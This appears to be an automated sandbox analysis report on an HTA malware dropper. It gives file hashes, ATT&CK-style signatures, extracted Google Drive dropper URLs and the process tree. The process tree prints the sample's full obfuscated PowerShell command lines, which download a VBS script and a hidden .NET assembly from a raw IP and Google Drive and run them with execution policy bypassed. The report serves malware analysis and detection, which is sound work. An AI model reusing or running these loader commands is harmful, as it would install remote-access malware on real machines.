Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    25-10-2024 08:35

General

  • Target

    seethebestthingstobegoodwithhislifebestthigns.hta

  • Size

    130KB

  • MD5

    0b1aa8ae190d05df71f4052fae67df5b

  • SHA1

    f6fe29f3e7830b15e3b244ba83216c029dcb60fb

  • SHA256

    4e15eab180712f99efe5eea760beea458c7bfc4eeb5f5961b2b5d0c9b7611d3d

  • SHA512

    94008a8bf00a1334c16129258243bf89d8351c82ede845fefdb657838fe2f602f761b9935e5fef5e01b368096993f49a48e65d3705cea948d9435db0df370a04

  • SSDEEP

    96:Eam7QSo4DH5wo4DH5rtTRJP4srvjTKP4DH5Sr4DH5NFAb5UAf4DH5G7T:Ea2Rok0RLknYoVT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthingstobegoodwithhislifebestthigns.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SysWOW64\WinDOWspOwershElL\v1.0\pOweRshEll.eXe
      "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2896
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ltse9fse.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES20BB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC20BA.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2624
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2080
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1564
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) |. ((GET-vaRIaBLe '*mdr*').naME[3,11,2]-JoIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES20BB.tmp

    Filesize

    1KB

    MD5

    0ec370697a75ab83d238ce6790438859

    SHA1

    b49ece92a65b24e779f86cf479258d934f28d9eb

    SHA256

    d79e9e4518c71fd16e2240f1be476d56db0b7a3b51a214e888f695288757a9e9

    SHA512

    94f506ae31d8b1333b5ec04455d0b5f80705369645cb098ebca2db19e1996ce756ad8b007144442558f9f58a00cf605a2cfcc6683af269c38046276502e67927

  • C:\Users\Admin\AppData\Local\Temp\ltse9fse.dll

    Filesize

    3KB

    MD5

    a62470fbedb408b906aacc48f6e2d533

    SHA1

    aa685228558fa6b08225bced8a894e777c19ebfa

    SHA256

    6d298fa6dfbcb77dcf860728acf1fc6f50ebd88b955cc3f5a9737e505be238ba

    SHA512

    4e3036e60cc47fba69ac47799b46e27f6ac2394434decc1a7137f1ffc22f098ad9d773a7d3df249ed1952cda91c95fc301143325caafeeb805b2fbfecf098f79

  • C:\Users\Admin\AppData\Local\Temp\ltse9fse.pdb

    Filesize

    7KB

    MD5

    fee3a905078d9450aa8c3c0a9456b688

    SHA1

    35d0774686b14b6297faa1912494fab85b3c16aa

    SHA256

    231271c498489db96312e656b2152736a01f8286c37abf789b2ba9b403e7759f

    SHA512

    b8c53bf628dd0ee7a920c4ffbd4d273eeaa7c4a49d4694ee1d42a1d2a2c1d1ce0f805601fe4899c240fc999548876c5e057a557405511f27864e8760ddec2c84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    095cd458c5beb6c21645a8e1bd86814c

    SHA1

    634aa5174311ecb8400f227e0f0af2dded5a49d4

    SHA256

    e8a88b7b43658c756f4b888b62015e77592dbc3c080cf73b4e97cb143c29e476

    SHA512

    c7de2b928d4bc22316cebee0092ae82c0e510854a8e6856c35d473d069f91ac09c712a9e132210b45e572f6acec6a797d68a87c225a4b5ba6411e65c6e36ce08

  • C:\Users\Admin\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS

    Filesize

    136KB

    MD5

    52a69ab69d1c871566791a3c06982607

    SHA1

    367845c8b76d602680ee6069f3bde95e02c350d9

    SHA256

    4f6090a3d6a848ae3ef2310caca02976fe8448fc21cbe357f4a28a88f34ead28

    SHA512

    681b60151ef27726f8b4c9c0949a8962fa8b16fe3583ba5ee4019831b6ac2ad5bf2562da0e8fc55cdec4cb10c59a608896b9be98bedd1a8bbde43b711ee2e0c2

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC20BA.tmp

    Filesize

    652B

    MD5

    efca1a3cf79fed7ce61c534ed0faef6e

    SHA1

    2375b9016e6ce03bfa2295a1833664ee8f01cdf9

    SHA256

    174dd956a7e171486550ae5acdc9e6106069aab3f3c02875abf0ece6f27d96c5

    SHA512

    3fefda10f57dc8b4e61bacd75a715dade79c1032598ba0dbf6d31e942ecdb648bdf1292708543efddcf64b03eb4cf31e7a6f12cfb232c16b1232bb91e8529c1d

  • \??\c:\Users\Admin\AppData\Local\Temp\ltse9fse.0.cs

    Filesize

    469B

    MD5

    de4a3e7070e220b427d460a803bf2b1b

    SHA1

    f59c55466008ca3d557cc114c01395ba724a3a32

    SHA256

    0652da0455490eaf890ddcbc122a763d5f4031a9b2825d514d105bd8ea142eae

    SHA512

    afed9ff23e8f788d80f409856741bc68e985eb0092412f91e709d917fc37ea47e43b2560313195e5c0f8facc6232ddd74e5ca38c66d16af31d5f7b4984999b85

  • \??\c:\Users\Admin\AppData\Local\Temp\ltse9fse.cmdline

    Filesize

    309B

    MD5

    a0f865ab236296c3050234f430fdb3f2

    SHA1

    1534f10307c371d80d0b864fa4634d14bf00794a

    SHA256

    2fd6503b84f4b8c83a4ccdb11b42fdddfe234b7b6b1f291c3604a3bb92c9b699

    SHA512

    f5fa69f838016d8b787cb952f0a0468e9c8487329fae95419fe2c69954acf4f864e5c2637075b877af43a366980be26b94b760f8aa1554ebeeb487e3cc84126d